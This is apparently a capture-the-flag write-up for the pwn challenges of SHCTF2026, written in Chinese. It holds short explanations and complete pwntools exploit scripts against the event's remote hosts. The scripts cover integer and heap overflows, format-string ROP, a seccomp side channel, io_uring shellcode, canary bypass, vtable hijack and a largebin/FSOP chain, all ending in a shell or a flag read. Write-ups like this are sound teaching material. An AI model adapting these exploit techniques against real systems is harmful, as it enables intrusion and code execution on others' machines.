Shctf2026
SHCTF2026
Pwn
int_overflow
整数溢出进入后门, 缓冲区溢出修改cmd为binsh
from pwn import *
context.binary = binary = ELF('./083747_task', checksec=False)
REMOTE = 1
HOST = 'challenge.shc.tf'
PORT = 30433
if REMOTE:
r = remote(HOST, PORT)
else:
r = process(binary.path)
r.sendlineafter(b"number1", b"-78")
r.sendlineafter(b"number2", b"-78")
padding = b"A" * 10
cmd = b"/bin/sh\x00"
payload = padding + cmd
r.sendafter(b"what is your name", payload)
r.interactive()
execve?orw?
ban了除了exit以外的syscall, 打测信道
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
def get_conn():
# return process('./pwn')
return remote('challenge.shc.tf', 30515)
binary_path = './pwn'
flag_addr = 0x11451000
flag = ""
for i in range(5, 50):
found = False
# 遍历可见字符
for char_code in range(32, 127):
log.info(f"Trying character {i}: {chr(char_code)}")
log.info(f"Current flag: {flag}")
# Shellcode 逻辑:
# 1. 比较 flag[i] 和 猜测字符
# 2. 相等 -> 死循环 (服务器不回包,连接保持)
# 3. 不等 -> exit (服务器发送 FIN,连接关闭)
assembly = f"""
mov rbx, {flag_addr}
add rbx, {i}
mov al, byte ptr [rbx]
cmp al, {char_code}
je hang
/* 错误则退出 (触发 EOF) */
mov rax, 60
xor rdi, rdi
syscall
hang:
jmp hang
"""
p = None
try:
p = get_conn()
p.sendafter(b"execve? orw?", asm(assembly))
start_time = time.time()
try:
p.recvline(timeout=1)
flag += chr(char_code)
log.info(f"Found: {flag}")
found = True
p.close()
break
except Exception:
p.close()
except Exception as e:
if p: p.close()
if not found:
log.warning("\n[!] Character not found or end of flag.")
break
if flag.endswith('}'):
log.success("\n[+] Full flag captured!")
break
execve?orw?_revenge
刚开始题坏了, 后来修好以后一血被抢了, 拿了个二血。
直接copy板子秒了。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')
"""
rsp+0x100 0x078: struct io_uring_params params = {};
rsp+0x200 0x008: uring_fd
rsp+0x208 0x008: sq_ring ptr
rsp+0x210 0x008: cq_ring ptr
rsp+0x218 0x008: sqes ptr
rsp+0x220 0x008: flag_fd
rsp+0x300 0x100: buffer
"""
shellcode = asm("""
/*视情况调整栈帧*/
mov rsp, rbp
sub rsp, 0x10000
/*int uring_fd = syscall(SYS_io_uring_setup, 16, ¶ms);*/
mov rax, 0
lea rdi, [rsp+0x100]
mov rcx, 15
rep stosq
mov rdi, 16
lea rsi, [rsp+0x100]
mov rax, 0x1a9
syscall
/*unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);*/
mov qword ptr [rsp+0x200], rax
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0
mov rax, 9
syscall
mov qword ptr [rsp+0x208], rax
/*unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);*/
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0x8000000
mov rax, 9
syscall
mov qword ptr [rsp+0x210], rax
/*struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);*/
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0x10000000
mov rax, 9
syscall
mov qword ptr [rsp+0x218], rax
/*openat*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 18 /*opcode*/
mov byte ptr [rdi+1], 0 /* IOSQE_ flags*/
mov dword ptr [rdi+4], -100 /* file descriptor to do IO on */
/* 要打开文件的路径存放在 rsp+0x300 处 */
mov rax, 0x67616c662f
mov qword ptr [rsp+0x300], rax
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax /*pathname*/
mov dword ptr [rdi+28], 0 /*open_flag*/
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 1
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
mov rdi, qword ptr [rsp+0x210]
mov edx, dword ptr [rsp+0x164]
add rdi, rdx
mov edx, dword ptr [rdi+8]
mov qword ptr [rsp+0x220], rdx
/*read*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 22
mov rax, qword ptr [rsp+0x220]
mov dword ptr [rdi+4], eax
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax
mov dword ptr [rdi+24], 0x100
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 1
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
/*write*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 23
mov dword ptr [rdi+4], 1
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax
mov dword ptr [rdi+24], 0x100
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 3
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
""")
if args.LOCAL:
p = process('./pwn')
else:
p = remote('extra-challenge.shc.tf', 30708)
p.recvuntil(b'execve? orw?')
sleep(0.1)
p.sendline(shellcode)
# sleep(1)
# print(p.recv(timeout=10))
p.interactive()
baby_fmt
leak libc和stack, 构造ROP, 写printf返回地址
#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "challenge.shc.tf"
port = 32027
ELF_PATH="./pwn"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libc.so.6")
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)
def dbg():
script = '''
brva 0x126B
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
fmt = b'%61$p-%62$p-'
sla(b'Input your text: ', fmt)
p.recvuntil(b'text:')
libc_base = int(p.recvuntil(b'-', drop=True), 16)-0x29e40
lg('libc_base')
stack_addr = int(p.recvuntil(b'-', drop=True), 16)
lg('stack_addr')
pop_rdi = libc_base + 0x00000000001b7866
ret = pop_rdi + 1
pop_rsi = libc_base + 0x000000000017557a
pop_rdx_rbx = libc_base + 0x0000000000174e76
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
leave_ret = libc_base + 0x000000000004da83
def write(addr, value):
fmt = fmtstr_payload(7, {addr : value}, numbwritten=8)
sla(b'Input your text: ', b'aaa' + fmt)
# write rbp
write(stack_addr-0x128, stack_addr)
ret_addr = stack_addr - 0x120
# construct ROP chain
# write(ret_addr, 0xdeadbeef)
write(ret_addr, pop_rdi)
write(ret_addr+8, binsh)
write(ret_addr+16, ret)
write(ret_addr+24, system)
# dbg()
target = stack_addr - 0x240 # printf ret addr
write(target, leave_ret)
p.interactive()
Linklist
堆溢出, 构造重叠堆块, 篡改全局指针, 改free_got为onegadget
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
if local:
p = process('./vuln')
else:
p = remote('challenge.shc.tf', 32198)
def dbg():
script = '''
disp/x *0x4040B0
b *0x40138B
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def add(size, content):
p.sendlineafter(b'choice?\n', b'1')
p.sendlineafter(b'size?\n', str(size).encode())
p.sendafter(b'content?\n', content)
def delete():
p.sendlineafter(b'choice?\n', b'2')
def show():
p.sendlineafter(b'choice?\n', b'3')
def edit(content):
p.sendlineafter(b'choice?\n', b'4')
p.sendafter(b'content?\n', content)
add(0x18, b'a'*0x18)
add(0x18, b'b'*0x18)
add(0x18, b'c'*0x18)
add(0x18, b'd'*0x18)
delete()
delete()
delete()
payload = b'A' * 24 + p64(0x41)
edit(payload)
add(0x18, b'e'*0x18)
delete()
add(0x38, b'h'*0x18 + p64(0x21) + p64(0x4040B0) + p64(0xcafebabe))
# edit(p64(0x4040B0 + 8) + p64(elf.got['free']))
edit(p64(0x4040B0 + 8) + p64(0x4040B0 - 0x10))
edit(p64(elf.got['free']) + p64(0) + p64(0x4040B0 - 0x10) + b'/bin/sh\x00')
show()
p.recvuntil(b'content: ')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['free']
lg('libc_base')
system = libc_base + libc.sym['system']
edit(p64(libc_base + 0xe3b01))
# dbg()
delete()
p.interactive()
cpp_canary
覆盖rbp和retaddr进行栈迁移, 输入0字节触发异常处理绕过canary。
from pwn import *
context.binary = './pwn'
context.arch = 'amd64'
context.log_level = 'info'
backdoor_addr = 0x4025DB
user_addr = 0x406320
target_stack = user_addr + 0x10
fake_rbp = target_stack - 8
main_ret = 0x4028E6
p = remote('challenge.shc.tf', 32377)
p.sendafter(b"username: ", p64(backdoor_addr))
payload = flat({
0: b'A' * 64,
64: p64(fake_rbp),
72: p64(main_ret)
})
p.sendafter(b"password: ", payload)
p.sendafter(b"key: ", b"\x00")
p.interactive()
hello rust
整数溢出触发panic通过is_poisoned()判定进入Secret Menu获取堆地址和system地址。edit_name堆溢出修改vtable执行system(“/bin/sh”)
from pwn import *
# Set up context
binary = './pwn'
elf = ELF(binary)
context.binary = binary
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def start():
if args.REMOTE:
return remote('challenge.shc.tf', 30264)
else:
return process(binary)
io = start()
def dbg():
script = '''
'''
gdb.attach(io,script)
pause()
def work():
io.sendlineafter(b'> ', b'1')
def shop(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b': ', str(idx).encode())
def edit_name(payload):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b': ', payload)
def manifesto():
io.sendlineafter(b'> ', b'4')
def exploit():
shop(256)
for _ in range(150):
work()
shop(5)
io.recvuntil(b': 0x')
leak_x = int(io.recvline().strip(), 16)
log.info(f"Leaked &x: {hex(leak_x)}")
system_plt = leak_x
shop(3)
io.recvuntil(b': 0x')
heap_name = int(io.recvline().strip(), 16)
log.success(f"Heap Name Address: {hex(heap_name)}")
payload = flat(
b"/bin/sh\0",
b"A" * 16,
p64(system_plt),
b"B" * 4,
p64(heap_name),
p64(heap_name)
)
edit_name(payload)
manifesto()
io.interactive()
if __name__ == '__main__':
exploit()
baby_canary
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# Context Setup
context.log_level = 'debug'
context.binary = elf = ELF('./pwn')
local = 0
libc = ELF('./libc.so.6')
if local:
p = process('./pwn')
else:
p = remote('challenge.shc.tf', 30899)
def dbg():
script = '''
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
# --- Addresses & Constants ---
unk_4040C0 = 0x4040C0 # Base address for arbitrary write
got_stack_chk = elf.got['__stack_chk_fail']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x40154B
addr_start = 0x401130
addr_loop_var = 0x404068 # dword_404068
leave_ret = 0x401549
ret_gadget = 0x401016
pop_rax = 0x4013C9
gadget1 = 0x00000000004011fc
def write_primitive(p, idx, val):
# Send index (padded to 9 bytes)
p.send(str(idx).encode().ljust(9, b'\x00'))
time.sleep(0.05)
# Send value
p.send(p64(val))
# Handle continuation
p.recvuntil(b'more?\n')
p.send(b'y')
idx_stack = (got_stack_chk - unk_4040C0) // 8
idx_loop = (addr_loop_var - unk_4040C0) // 8
idx_exit = (elf.got['exit'] - unk_4040C0) // 8
p.recvuntil(b'baby canary!\n')
log.info("Phase 1: Disable Canary & Leak Libc")
# 1. Overwrite __stack_chk_fail with 'ret'
write_primitive(p, idx_stack, ret_gadget)
write_primitive(p, idx_loop, 1)
# Exit loop
p.send(b'0'.ljust(9, b'\x00')) # Dummy index
p.send(p64(0)) # Dummy value
p.recvuntil(b'more?\n')
p.send(b'n')
# 4. Trigger Pivot
p.recvuntil(b'hack me\n')
# Payload: Padding(24) + Canary(8) + Saved RBP(unk_4040C0) + Ret(leave; ret)
payload = p64(pop_rax) + p64(elf.got['puts']) + p64(0x40149B) + p64(addr_main)*2
p.send(payload)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
lg('libc_base')
p.sendline(b'y')
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
open_addr = libc_base + libc.sym['open']
p.send(b'aa')
p.send(p64(0))
p.recvuntil(b'more?\n')
p.send(b'n')
p.recvuntil(b'ok,try to hack me\n')
bss = 0x404500
read_addr = libc_base + libc.sym['read']
payload = p64(pop_rsi) + p64(bss) + p64(read_addr) + p64(leave_ret) + p64(bss) + p64(leave_ret)
p.send(payload)
pause()
payload = b''
payload += p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x500) + p64(0) + p64(read_addr)
p.send(payload)
pause()
mprotect_addr = libc_base + libc.sym['mprotect']
payload = b''
payload += b'a'*0x28
payload += p64(pop_rdi) + p64(bss & 0xfffffffffffff000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect_addr)
payload += p64(bss + 0x300)
payload = payload.ljust(0x300, b'\x00')
shellcode = shellcraft.openat('0', bss+0x400, 0)
shellcode += shellcraft.read('rax', bss+0x200, 0x500)
shellcode += shellcraft.write(1, bss+0x200, 0x500)
payload += asm(shellcode)
payload = payload.ljust(0x400, b'\x00')
payload += b'/flag\x00'
payload = payload.ljust(0x500, b'\x00')
# dbg()
p.send(payload)
p.interactive()
fmt_blind
void __fastcall sub_110D(__int64 p_format)
{
dup2(0, 2);
close(1);
open("/dev/null", 1);
dup(1);
}
flag在栈上, 把stdout闭了, 但是stderr还在。第一次输入leak libc, 第二次输入有格式化字符串, 把stdout的fileno从1改成2, 这样printf的输出就转到stderr中了, 然后用%p把栈上的flag打印出来。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# Context Setup
context.log_level = 'info'
context.binary = elf = ELF('./pwn')
local = 0
libc = ELF('./libc.so.6')
if local:
p = process('./pwn')
else:
p = remote('challenge.shc.tf', 32070)
def dbg():
script = '''
brva 0x133D
brva 0x1378
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
p.sendlineafter(b'Input your name size: ', b'128')
p.sendlineafter(b'Input your name: ', b'a'*88 + b'b'*8 + b'c'*8)
p.recvuntil(b'c'*8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20840
lg('libc_base')
fileno = libc_base + 0x3c5620 + 0x70
lg('fileno')
# dbg()
fmt = b'%2c%21$hhn%15$pPPPPPPPPP' + p64(fileno)
# fmt = b'%10$paaaaaa'
p.sendlineafter(b'change your name.', fmt)
data = p.recvuntil(b'PPPPPPPPP')
log.info(f'data: {data}')
p.interactive()
# 0x27697b4654434853
# 0x49622037304e204d
# 0x377320315f444e49
# 0x6556616820314969
# 0x7d72726544543520
# SHCTF{i'M N07 bIIND_1 s7iI1 haVe 5TDerr}
Large Manager
2.35 largebin attack, 改 IO_list_all打house of板子。
from pwn import *
# Set up context
exe = './power'
elf = ELF(exe)
# libc = ELF('./libc.so.6') # Ensure you have the correct libc
context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
def dbg():
script = '''
b _IO_flush_all_lockp
b _IO_wfile_overflow
b _IO_wfile_underflow_maybe_mmap
'''
gdb.attach(io, script)
pause()
OFFSET_MAIN_ARENA = 0x21b0b0
OFFSET_IO_LIST_ALL = libc.symbols['_IO_list_all']
OFFSET_SYSTEM = libc.symbols['system']
OFFSET_IO_WFILE_JUMPS = libc.symbols['_IO_wfile_jumps']
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def start():
if args.REMOTE:
return remote('challenge.shc.tf', 31148)
return process(exe)
io = start()
def add(idx, size, content):
io.sendlineafter(b'choice: ', b'1')
io.sendlineafter(b'Enter the size of the record: ', str(size).encode())
io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
if len(content) < size:
content = content.ljust(size, b'\x00')
io.sendafter(b'Enter the content of the record: ', content)
def view(idx):
io.sendlineafter(b'choice: ', b'2')
io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
return io.recvuntil(b'\n1. Add', drop=True)
def delete(idx):
io.sendlineafter(b'choice: ', b'3')
io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
def edit(idx, content):
io.sendlineafter(b'choice: ', b'4')
io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
io.sendafter(b'Enter the content of the record: ', content)
add(0, 0x528, b"A" * 0x520)
add(1, 0x500, b"B" * 8)
add(2, 0x510, b"C" * 8)
delete(0)
add(3, 0x560, b"D" * 8)
leak_data = view(0)
leak_fd = u64(leak_data[:8])
leak_heap = u64(leak_data[16:24])
libc_base = leak_fd - 96 - OFFSET_MAIN_ARENA
heap_base = leak_heap - 0x290
log.success(f"Libc Base: {hex(libc_base)}")
log.success(f"Heap Base: {hex(heap_base)}")
delete(2)
target = libc_base + OFFSET_IO_LIST_ALL
log.info(f"Target: {hex(target)}")
lock = libc_base + 0x1000
setcontext = libc_base + libc.symbols['setcontext'] + 61
mprotect = libc_base + libc.symbols['mprotect']
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40
fake_io_addr = heap_base + 0x290
ret = libc_base + 0x00000000000467c9
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
rax = libc_base + 0x0000000000045eb0
pl =p64(0) + p64(0) + p64(0) + p64(target-0x20)
pl+=p64(0)*2 + p64(0) + p64(fake_io_addr+0x10)
pl+=p64(0)*4
pl+=p64(0)*3 + p64(lock)
pl+=p64(0)*2 + p64(fake_io_addr+0xe0) + p64(0)
pl+=p64(0)*4
pl+=p64(0) + p64(_IO_wfile_jumps_maybe_mmap)
pl+=p64(setcontext)
pl+=p64(0)*(0x7 + 0x14 - 8) + p64(fake_io_addr + 0x1c8) + p64(ret) + p64(0)*6 + p64(fake_io_addr + 0xe0 - 0x68)
# pl+=p64(rdi) + p64(heap_base >> 12 << 12) + p64(rsi) + p64(0x2000) + p64(rdx_r12) + p64(7)*2 + p64(mprotect)
# pl+= p64(heap_base + 0x7d0)# shellcode_addr
pl+=p64(rdi) + p64(libc_base + next(libc.search(b'/bin/sh'))) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(libc_base + libc.sym['execve'])
edit(0, pl)
add(4, 0x500, b"zmjjrr")
# dbg()
io.sendline(b'5')
io.interactive()
Earth_Online
这里是一份简单直接的中文 WriteUp,去掉了多余的废话,保留了核心思路。
Earth Online Pwn WriteUp
NaN 逻辑漏洞绕过检查 + Stack Pivot 劫持控制流。代码里没有 pop rdi
看 emergency_relief 函数,这里有个关于救济粮价格的计算:
// v6 是当前拥有的钱的一半
// 如果钱是 0,那么 v6 = 0.0
v1 = money / v6; // 0.0 / 0.0 = NaN
当我们的钱(money)被花光变成 0.0 时,如果去吃救济粮并选择 “Buy All”(选项2),就会触发除以零,导致买到的 food 变成 NaN。
然后去超市把这些 NaN 的食物全卖掉(Sell All),我们的 money 也会被感染成 NaN。
在 buy_house 函数里,有一个关键检查:
v4 = size * 100000000.0;
if ( v4 <= money ) { ... }
正常情况下买不起大房子。但因为 money 已经是 NaN 了,浮点数比较特性中,NaN 和任何数比较通常都会让条件判断失效(或者说走向“无序”分支),导致 v4 <= money 检查直接通过。
我们可以输入一个巨大的 size(比如 512),从而在后面的 read(0, buf, nbytes) 触发栈溢出。
有了栈溢出以后利用0x402248开始的一段代码打栈迁移leak libc然后getshell。
from pwn import *
# Context setup
exe = './pwn'
elf = ELF(exe)
context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def start():
return remote('challenge.shc.tf', 32389)
# return process(exe)
libc = ELF('./libc.so.6')
p = start()
def dbg():
gdb.attach(p, '''
''')
pause()
p.sendlineafter(b'Choice $', b'1')
p.sendlineafter(b'Choice $', b'1')
p.sendlineafter(b'kg) $', b'10')
p.sendlineafter(b'Choice $', b'5')
while True:
p.sendline(b'9')
output = p.recv(timeout=0.05)
if b'Relief Food Market' in output:
log.success("Emergency Relief Triggered!")
break
p.sendline(b'2')
p.sendlineafter(b'Choice $', b'1')
p.sendlineafter(b'Choice $', b'4')
p.sendlineafter(b'Choice $', b'5')
p.sendlineafter(b'Choice $', b'3')
p.sendlineafter(b'size $', b'512')
ret = 0x000000000040101a
pop_rsi = 0x000000000040254b
pop_rbp = 0x000000000040138b
bss = 0x406800
leave_ret = 0x0000000000401793
main = 0x40227B
payload = b''
payload += b'A' * 80
payload += p64(0x4060a0 + 0x58)
payload += p64(0x402248)
p.sendafter(b'characters) $', payload)
pause()
payload = b''
payload += b'A' * 0x50
payload += p64(bss)
payload += p64(leave_ret)
payload = payload.ljust(0x758, b'\x00')
payload += p64(bss + 0x100)
payload += p64(pop_rsi)
payload += p64(elf.got['puts'])
payload += p64(0x402264)
payload = payload.ljust(0x800, b'\x00')
payload += p64(0x500)
payload += p64(bss)
payload = payload.ljust(0x858, b'\x00')
payload += p64(0x4068a8 + 0x58)
payload += p64(0x402248)
p.send(payload)
pause()
p.recvuntil(b'Your dream house is ')
p.recvuntil(b'Your dream house is ')
p.recvuntil(b'Your dream house is ')
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - libc.symbols['puts']
log.success(f"Leaked libc base: {hex(libc_base)}")
pop_rdi = libc_base + 0x000000000010f78b
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b''
payload += b'A' * 0x50
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
# dbg()
p.send(payload)
p.interactive()
# .text:0000000000402248 mov rdx, [rbp+nbytes] ; nbytes
# .text:000000000040224C lea rax, [rbp+buf]
# .text:0000000000402250 mov rsi, rax ; buf
# .text:0000000000402253 mov edi, 0 ; fd
# .text:0000000000402258 call _read
# .text:000000000040225D lea rax, [rbp+buf]
# .text:0000000000402261 mov rsi, rax
# .text:0000000000402264 lea rax, aYourDreamHouse ; "Your dream house is %s\n"
# .text:000000000040226B mov rdi, rax ; format
# .text:000000000040226E mov eax, 0
# .text:0000000000402273 call _printf
# .text:0000000000402278 nop
# .text:0000000000402279
# .text:0000000000402279 locret_402279: ; CODE XREF: buy_house+22B↑j
# .text:0000000000402279 leave
# .text:000000000040227A retn